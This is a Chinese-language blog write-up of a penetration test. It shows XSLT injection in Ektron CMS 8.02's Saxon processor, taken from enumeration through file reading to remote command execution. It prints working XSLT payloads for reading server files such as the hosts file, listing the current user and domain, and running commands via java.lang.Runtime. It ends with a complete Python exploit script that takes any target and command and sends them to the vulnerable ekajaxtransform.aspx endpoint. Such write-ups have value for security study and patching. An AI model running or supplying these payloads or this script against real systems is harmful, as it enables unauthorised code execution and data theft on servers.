渗透测试:从XSLT注入到Getshell - 先知社区
2019-09-02 03:31:45 Author: xz.aliyun.com(查看原文) 阅读量:224 收藏

本文分享的是一个XSLT注入漏洞,漏洞存在于Ektron CMS 8.02的Saxon组件中,攻击者利用该漏洞,可造成SSRF甚至RCE。但研究者发现Metasploit上的exp似乎无法利用,漏洞已被修补。后来经过摸索,进一步做信息收集,最终获取RCE。

偶然发现攻击面

国外某研究人员应邀給一个大型组织做Web渗透测试。经过简单的信息收集,发现该Web应用较为简单,没有明显的缺陷。

进一步搜寻测试后,研究人员使用dirbuster(目录扫描器)发现了一个有趣的JavaScript文件,查阅文件内容显示应用程序为:Ektron CMS 8.02

简单搜索因特网,研究人员在Microsoft Research Advisory上找到关于该CMS的一些漏洞信息:

...当Ektron Web CMS 的XslCompiledTransform类处理用户控制的XSL数据时,可能会导致容易代码执行...

存在漏洞的页面:

https(s)://host/WorkArea/ContentDesigner/ekajaxtransform.aspx

目标确实存在这个页面,它可能可以存在漏洞。下一步,研究人员开始枚举目标服务器上的XSLT解析引擎,通过Burp发送一个POST请求,同时在Body处插入XSLT有效载荷:

xslt=<?xml version="1.0" encoding="ISO-8859-1"?>
 <xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 <xsl:template match="/">
 <html>
 <body>
 Version: <xsl:value-of select="system-property('xsl:version')" />
 Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
 Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
 </body>
 </html>
 </xsl:template>
 </xsl:stylesheet>

页面反馈:

Version: 1
Vendor: Microsoft
Vendor URL: http://www.microsoft.com

尝试通用Exp

此时,已经表明为Microsoft XSLT解析器。紧接着,研究人员在Metasploit上找到一个模块,可用于此攻击。设置完毕参数后,exploit,但没有返回结果。可初步判断,目标应用上的这个漏洞已修补,无法被利用,但研究者并没有放弃,查看Metasploit发送的请求:

很容易看出,它会调用一个有趣的脚本:

<msxsl:script language =“C#”implements-prefix =“user”>

Microsoft XSLT 似乎可以运行C#。通过脚本元素,可以在XSLT文档或其他带外扩展中嵌入C#恶意代码。

构造一个简单的SSRF探测有效载荷:

xslt=<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:msxsl="urn:schemas-microsoft-com:xslt" 
xmlns:App="http://www.tempuri.org/App">
    <msxsl:script implements-prefix="App" language="C#">
      <![CDATA[
          {
              System.Diagnostics.Process.Start("cmd.exe /C ping IP");
          }
      ]]>
    </msxsl:script>
    <xsl:template match="ArrayOfTest">
    </xsl:template>
  </xsl:stylesheet>

反馈:

已禁止使用脚本。可以通过XsltSettings.EnableScript属性激活。

看来这就是为什么Metasploit模块攻击失效的原因了。虽然已在元素中嵌入C#,但脚本被禁用,无法工作。通过这点,可以确定漏洞已经修补了,攻击者无法获取RCE。但研究人员没有放弃,开始进一步搜索漏洞信息。

柳暗花明

查阅资料,研究人员找出两份关于XSLT注入攻击的研究文档[1.2],第一份为德文,较为全面地介绍了这类攻击,第二份来自IOActive。阅读相关文档后,研究人员发现其实Ektron CMS附有多个XSLT解析器,其中一个名为Saxon。枚举Saxon版本:

xslt=<xsl:transform version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" />
</xsl:template>
</xsl:transform>

反馈:

Version: 2.0
Vendor: SAXON 9.x.x.x from Saxonica
Vendor URL: http://www.saxonica.com/

Saxon解析器可以正常解析用户输入,同时提供反馈。接下来,攻击者可以尝试读取一些文件,枚举信息甚至命令执行。

读取文件

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="unparsed-text('file:///C:/Windows/System32/drivers/etc/hosts')"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

查看当前目录

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:CurrentDirectory()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
  </xsl:transform>

查看当前用户和域:

<xsl:transform version="2.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:saxon="http://saxon.sf.net/">
<xsl:output method="text"/>
<xsl:template match="/">
<xsl:text>asdf</xsl:text>
<out xmlns:env="clitype:System.Environment" xmlns:os="clitype:System.OperatingSystem">
<xsl:value-of select="env:UserName()"/>
<xsl:value-of select="env:UserDomainName()"/>
</out>
<xsl:text>asdf</xsl:text>
</xsl:template>
</xsl:transform>

攻击者现在可以探测服务器目录结构,读取服务器上的大部分文件,SAM文件除外,因为Web应用用户权限不足。

Getshell

研究人员的最终目标是命令执行,但文档中没有可用的XSLT样式。进一步研究那份德文文档,发现可以Xalan处理器来执行Java代码,但Saxon解析器没有声明命名空间。

尝试构造模块,反馈错误。

<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'notepad.exe')"
xmlns:Runtime="java:java.lang.Runtime"/>

研究Saxonica文档后,研究人员发现可利用命名空间和某些函数,构造XSLT文档来执行命令:

xslt=<xml version="1.0"?>
<xsl:stylesheet version="2.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'cmd.exe /C ping IP')" xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>.
</xsl:stylesheet>

后来发现没有声明java的命名空间:

xmlns:java="http://saxon.sf.net/java-type">

如果没有声明命名空间,处理器不能找到与java:java.lang.Runtime相关的外部对象或脚本。

发送有效负载,研究人员可执行任意命令,并且可以与Empire框架连接,至此web渗透部分结束。

利用脚本

#! /usr/bin/python
import httplib

target = raw_input("""Enter the domain or IP address of target: 
e.g. www.google.com, or 198.162.0.1:  """)
port = raw_input("""Enter port number of target 
e.g. 80 or 443:  """)
process = raw_input("""Enter the process you wish to run: 
powershell.exe or cmd.exe:  """)
command = raw_input("""Enter command you wish to run: 
e.g. ping 127.0.0.1:  """)


def printText(txt):
    lines = txt.split('\n')
    for line in lines:
        print line.strip()

httpServ = httplib.HTTPConnection( target, port)
httpServ.connect()

payload = """
xslt=<?xml version="1.0"?>
<xsl:stylesheet version="2.0" 
xmlns:xsl="http://www.w3.org/1999/XSL/Transform" 
xmlns:java="http://saxon.sf.net/java-type">
<xsl:template match="/">
<xsl:value-of select="Runtime:exec(Runtime:getRuntime(),'%s /C %s')"
xmlns:Runtime="java:java.lang.Runtime"/>
</xsl:template>
</xsl:stylesheet>""" % (process,command)

headers = {"Content-type": "application/x-www-form-urlend; charset=UTF-8", "Accept": "application/x-www-form-urlencoded; charset=UTF-8"}

httpServ.request('POST', '/WorkArea/ContentDesigner/ekajaxtransform.aspx', payload, headers) 

response = httpServ.getresponse()
if response.status == httplib.OK:
    print "Java Process Id: "
    printText (response.read())

httpServ.close()

研究人员并未分享内网渗透内容。

小结

渗透测试人员如果发现Microsoft XSLT解析器中EnableScript设置为False,则不用尝试Metasploit模块,可直接从本文获取一些攻击方式。

参考来源:hunniccyber


文章来源: https://xz.aliyun.com/t/6141
如有侵权请联系:admin#unsafe.sh